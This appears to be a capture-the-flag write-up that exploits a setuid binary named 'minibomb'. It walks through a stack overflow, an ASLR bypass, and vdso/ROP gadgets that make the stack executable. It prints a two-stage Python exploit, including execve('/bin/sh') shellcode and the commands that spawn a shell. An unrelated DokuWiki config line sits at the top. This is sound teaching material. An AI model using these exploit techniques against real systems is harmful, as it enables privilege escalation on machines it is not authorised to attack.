$plugins['authad'] = '0'; $plugins['authldap'] = '1'; $plugins['authmysql'] = '0'; $plugins['authpgsql'] = '0';
We are provided with a ssh user/pass. On the remote machine we find a setuid binary which we must exploit. The binary itself doesn't do much:
$ ./minibomb passcode: asdf checking... BOOM!!
Further analysis with IDA reveals that the binary has only two functions:
So the flow is the following:
The program has an obvious buffer overflow: it reads 0x1000 bytes in a buffer of size 16. The difficulty comes from the fact that the stack is not executable (the mmap is done with PROT_READ|PROT_WRITE) and we don't have too many useful gadgets (no libc).
First we use ulimit -s to bypass the ASLR.
Then we notice that the program is using old_mmap instead of mmap2. old_mmap takes its parameters from a structure in memory as opposed to mmap2 which uses the registers:
It would be nice if we could modify the prot parameter from 3 to 7 (PROT_READ|PROT_WRITE|PROT_EXEC). Then we could redo the program from the beginning, but now with an executable stack.
While searching for gadgets to accomplish this job, we must not forget that the vdso also consists of executable code (3 functions). We might find something interesting there:
0x4000042f: sbb [ebp+0x5a],0x59; ret 0x40000430: pop ebp; pop edx; pop ecx; ret
We can make ebp + 0x5a to point to 0x8049158 (the address of “db 3”), then repeat the sbb until we obtain a value for which the three least significant bits are one, so that mmap sees it as PROT_READ|PROT_WRITE|PROT_EXEC. We find that after three sbb's we get a value of 0xf7, which meets the criterion.
Then, after pointing eip to the beginning of the program, we discover we have another problem. Although we now have an executable buffer, the read syscall will fail because the file descriptor was closed in the previous step. To overcome this, let's look at the following gadget:
0x0804813b: xchg eax, ecx ; add al, 0x08 ; mov edx, 0x0000000C ; mov ebx, 0x00000001 ; int 0x80 ; add esp, 0x10; ret
We can almost do a syscall using this gadget, but we can't control any of the parameters. However, this is enough for a dup. Since ebx is 1, we'll do the equivalent of dup(1), which duplicates stdout into the first free file descriptor, namely 0. In this way we'll be able to restore stdin.
To summarize, this is how the exploit looks like:
#!/usr/bin/env python # stage 1 from struct import pack p = '' p += pack('<L', 0xbbbbbbbb) * 4 p += pack('<L', 0x40000430) # pop ebp ; pop edx ; pop ecx ; ret p += pack('<L', 0x80490FE) # ebp: 0x8049158 - 0x5a p += pack('<L', 0xaaaaaaaa) # edx p += pack('<L', 33) # ecx: 41 (__NR_dup) - 8 p += pack('<L', 0x4000042f) # sbb [ebp+0x5a],0x59; ret p += pack('<L', 0x4000042f) # sbb [ebp+0x5a],0x59; ret p += pack('<L', 0x4000042f) # sbb [ebp+0x5a],0x59; ret p += pack('<L', 0x804813b) # xchg eax, ecx ; add al, 0x08 ; mov edx, 0x0000000C ; mov ebx, 0x00000001 ; int 0x80 ; add esp, 0x10; ret p += pack('<L', 0xbbbbbbbb) * 4 # for the add esp, 0x10 above p += pack('<L', 0x80480af) # beginning of the program print p
#!/usr/bin/env python # stage 2 from struct import pack p = '' p += pack('<L', 0xbbbbbbbb) * 4 p += pack('<L', 0x40002fb0 + 20) # the shellcode does dup2(4,0); dup2(5,1); execve("/bin/sh") p += '\x31\xc0\xb0\x3f\x31\xdb\xb3\x04\x31\xc9\xcd\x80\x31\xc0\xb0\x3f\x31\xdb\xb3\x05\x31\xc9\xfe\xc1\xcd\x80\x31\xc0\xf7\xe9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80' print p
We must also save the original stdin and stdout before running the program, and restore them in the shellcode using dup2, before executing our shell, otherwise we won't be able to interact with the shell.
$ ulimit -s unlimited $ exec 4<&0 $ exec 5>&1 $ ./minibomb 0< <(./p1.py) 1< <(./p2.py) sh-4.2$